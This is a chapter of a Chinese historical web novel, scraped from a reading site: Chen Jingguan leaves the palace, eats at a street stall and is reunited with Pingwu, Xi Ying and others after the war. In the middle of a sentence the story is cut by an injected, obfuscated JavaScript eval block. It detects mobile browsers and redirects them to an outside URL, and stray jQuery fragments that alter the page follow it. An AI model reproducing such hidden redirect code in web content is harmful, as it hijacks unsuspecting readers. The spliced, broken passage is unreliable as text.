默认冷灰
24号文字
方正启体

155.凤鸣朝阳(五)

作者:恰逢其适本书字数:K更新时间:
    陈京观离开崇明殿时太阳已经没了踪影,他让跟着自己的内侍先走,自己一个人漫无目的地在这偌大的宫殿里晃悠。


    从今早迎着朝阳走入玄门,到现在伴着月色靠近幽门,陈京观这一天听了太多故事,当一切都安静下来时,他哑然失笑。


    他发觉自己不适合待在阙州,这皇城会让他眼花缭乱,会让他无暇思考,会让他凭空生出许多不恰当的情感。


    陈京观望着西南角的方向,那里从前是这崇明殿最热闹的地方,可崇宁死了,那块地方就荒废了。就如同陈京观当初路过丛选的宅子时,他隔着大门试图听到里面的动静,换来的只有万籁俱静。


    萧祺栩还小,远没有到选后纳妃的岁数,而那些萧霖留下的老人一个个都离开了皇宫。今日一过,周湘也会入景州明禅寺带发修行,面子上说的是为国祈福,实际是陈京观留了她一条命。


    周湘曾经救过温浅,即使温浅最后还是选择饮下那碗汤药,可周湘是为数不多还愿意告诉温浅真相的,她或许也是这皇宫里为数不多还记得温浅的。


    陈京观一直往前走,他觉得自己走到了一片花园,这里应该是崇明殿最偏僻处,可眼前的花草却不像是自己长出来的。


    陈京观弯腰拨弄着脚下的茉莉,用手捻了捻它有些枯黄的花瓣,看上去应该是最近几日没浇水,那些含苞待放的花骨朵展现出的是物是人非的颓败。


    再走一百步就到幽门了,这是宫门下钥后唯一一个只准出不准进的小门,陈京观离开花园时将那扇半掩着的门带上了,他不知道这里曾经住过谁,也不知道这里曾是谁的秘密,可他希望那些花不要死。


    “麻烦你了。”


    陈京观朝着守门的侍卫点头,侍卫客气地招呼着他,见他是从花园方向来的,不自觉压低声音道:“可惜了那片地方,往年再过些日子,一到了六七月这条路可香了。”


    “那是谁的园子?”


    侍卫的神色有些犹豫,陈京观就自己猜测着说:“崇宁?”


    “您果然神机妙算!”侍卫脸上的欣喜只展露了一瞬,很快他侧身看了看园子,“当初长公主的母亲就住在这,幽门离大殿最远,明宗皇帝一年来不了两回。她虽然被封了嫔位,可是子女都算不上上乘,这后宫里人多,很快就有新人替了她。”


    陈京观沉默着,侍卫意识到自己说多了,自恼地轻轻扇了自己一巴掌,“反正啊您以后来要是再来幽门,可以不从园子里绕,您往右走个几步就到宸妃娘娘的宫殿了,她那有小路能直接穿过来。”


    “她们俩关系好吗?”


    “您说宸妃和长公主?”


    陈京观点了点头,侍卫脸上的表情已经告诉了他答案。


    “我是从来没见宸妃娘娘走过这条道,她对长公主避之不及。”


    陈京观轻笑一声再没说话,他离开时塞给侍卫一块银锭,让他有空就去园子里浇浇水,至少让那些花活过今年夏天。


    出了崇明殿,街上烟火气就浓了,萧祺栩即位后第一件事就是去除官令。不过他还是顾及了萧霖的颜面,给了个大战之后需要补充人口的理由。


    这官令一除,原本因为战火四散零落的难民找到了能安身立命的地方,从崇州逃过来的伶人,从廊州举家搬过来的农户,还有从盛州、景州等地过来寻商机的商人,虽说离萧祺栩即位也不过才一个月,可这街上的景色倒是恢复到了从前的十之八九。


    “老板,来一份酸酪,多加一些红豆。”


    陈京观找了从前那个小摊,摊前已经完全不见从前那个阿婆的身影了,他没有问,他看到了店主胸前的白花。


    “我记得你之前来过?”


    店主将酸酪放在陈京观面前,此时正是饭点,来吃甜点的人不多,店主便拉了个凳子坐在陈京观面前。


    “是,估摸着一年前吧。”


    店主若有所思地点头,“那时候我母亲还在,她老人家上个月走的,没能看见席将军把阙州抢回来的那一日。”


    “席将军。”


    陈京观小声重复了一遍,听到旁人如此称呼席英,他竟生出一种自己养大的孩子光宗耀祖的感觉。


    见陈京观没说话,店家转头端详了他片刻,“诶你别说,你和我那日远远看见的少将军有几分相似。”


    “是吗,”陈京观嘴里咕哝着,“好些人都这么说。”


    陈京观回来后,为了方便他以陈景豫的身份出现,苏清晓向天下广而告之了少将军在朔州一战重伤难愈,不久前病逝的消息。


    听穆晓山从街上回来时说,那讣告挂出去三日,阙州城便静默了三日,当初萧霖死的时候都没有这阵仗。


    “诶,这世上能有几人扛得了这些事,从他起势到如今也不过三年,官令废除了,景州的贪官抓住了,廊州的粮价打下来了,我们都能和西芥人终于能做到一张桌子上吃饭了,可他没了。”


    店家唏嘘着叹气,听到有人进店来,他拍了拍陈京观的肩让他慢慢吃,自己一个人转身回了厨房。


    陈京观离开的时候放了六枚铜板,他想着权当是再请萧霖一次酸酪。


    越往城边走,陈京观的步子就越慢,他看着当日进攻时走过的路线,脑子里想着的却完全不是一件事了。


    回来阙州后,陈京观买下了他们曾经住过的的宅子。


    最开始他也只是想着离平海近些,后来却发现这宅子在他们走后又住进了一户人家。陈京观在卧室的夹缝里看到了一块修着荷花的手帕,帕子的右下角还有一个“夏”字。


    陈京观让穆晓山去问,知道了夏衍在陈京观走后就租下了这里,他每月的俸禄没那么多,两个妹妹就做些活贴补家用。


    陈京观明白夏衍的意思,他想替他守住桃园。


    也曾经是在这宅子里,陈京观戳破了夏衍虚假的笑容,看到了他千疮百孔的身体,以及差点就直不起来的腰。


    只是陈京观还是没能找到夏衍的两个妹妹,无论他打听了多少人,甚至动用了谍子,可这两个小姑娘就那般凭空消失了。


    “你可算回来了,再不回来我可要去和周湘抢人了。”


    苏清晓站在宅子前张望,他身边的席英看到陈京观回来朝他招了招手,转身让屋子里的嬷嬷去将预备好的饭菜从温着的锅里拿出来。


    “都这个点了你们怎么还等我,下次我要是没回来你们先吃。”


    “师兄。”


    陈京观的话被平芜一声“师兄”打断,他抬头看着眼前泪眼迷蒙的小子,平芜快步上来抱住了陈京观。


    “好小子,你也长大了,都能单枪匹马去救师父了。”


    平芜的胳膊上还缠着绷带,看样子像是苏清晓刚给换的药,陈京观回抱着他的时候刻意避开了他的伤口,可眼前的半大小子像是有使不完的劲儿,他的怀抱


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15431381|146751||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    搂得陈京观喘不过气。


    “师父的伤我给苏大人说过了,他方才给我写了个单子,我让人快马加鞭送回去了,宗大人颓靡了一些日子,让师父骂了一顿恢复了些精神,他说他想辞官,可没想好怎么和你说。远山哥的尸首我们没找到,别吉让人在云山哥的坟旁边立个衣冠冢,她让我嘱咐你去廊州的时候多留意着,一定要把他带回家。”


    “还有,别吉和科迪成亲了,他们没等到你回来,不过别吉说你还没给她送贺礼,她记下了,迟早要问你要的。”平芜顿了顿,“她还说她会带人提前搬去夏牧场,在木尔斯草原没人能找到他们,她让您放心带着人去打仗,没赢就不许回去。”


    陈京观忍俊不禁的同时缓缓点着头,他一下一下摸着怀里的人的后背,直到他感觉平芜的气息顺了,他听到平芜问:“哥,你还有想知道的吗?”


    “那日,你怎么敢一个人去雍州的?”


    平芜从陈京观的怀里抽出身,他面前的站着的三个人都静静看着他,平芜的目光从他们每个人脸上扫过,最后停留在席英面前。


    “姐姐都成席将军了,我又怎么能丢了师兄的脸面?”


    萧祺栩登基后,一改南魏重文轻武的政策,他规定每年文选和武选要同时进行,他不求得到文武双全的人才,他只希望南魏两条腿走路。


    那日萧祺栩叫了陈京观去书房,陈京观将萧祺栩递给自己的虎符放在手里摩挲着,那上面的血迹已经擦净了,只是贺福愿倒地时砸坏了一个角,后来匠人再怎么修也还是能看得出来。


    “哥,你做我的将军吧,我们一起把收复失地,重振南魏雄风。”


    萧祺栩正是雄心勃勃的时候,他看着陈京观的时候,那双眼睛比任何时候都要有神。


    可陈京观离开时并没有带走那枚虎符,随他一同出宫的,是封席英为南魏大将军的诏书。


    席英接到圣旨的时候毫无波澜,她望着自己的名字和“大将军”三个字写在一起,她抬头看着陈京观,陈京观只是笑着对她说。


    “你不是说过要和苏清晓一个人做帝师,一个人做将军吗?现在不敢了?”


    席英摇头,“那你呢?”


    “你比我更适合那个位置,我来做你的副将。”


    “你席姐姐的今日那是一刀一刀打出来,我的命是她救的,史家父子是她抢的,阙州是她拿下的,她该是这个位子。”


    平芜不禁点头,席英倒是难得耳鬓染了些粉红,陈京观用眼神暗示着苏清晓,苏清晓用藏在身后的手捏了捏席英的手腕。


    “你们俩,是什么办事啊?”


    平芜眨巴着眼睛望着苏清晓,苏清晓一个巴掌拍到了他背上,“没大没小!我比你师兄还大些呢。”


    平芜嘟囔着嘴没有再说话,一屋子的人笑着走出正厅。


    月色下,一个人影安静地站在院子那棵老树下,他的肩头飘着落花,而他一只手扶着刀,另一只手背在身后。


    “今天还真热闹,一起吃吧。”


    陈京观走过去接过了陆栖野手里的桂花酿,“还没到桂花的时节,买这两瓶酒不容易吧。”


    陆栖野没有答,陈京观示意身后的人先去里屋,他顺手拔开一瓶酒的封口,浓郁的酒香混合着微微发苦的槐花气息,他应该有一年没尝到了。


    “陈京观,下次能不要让我从别人嘴里知道你去送死的消息吗?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)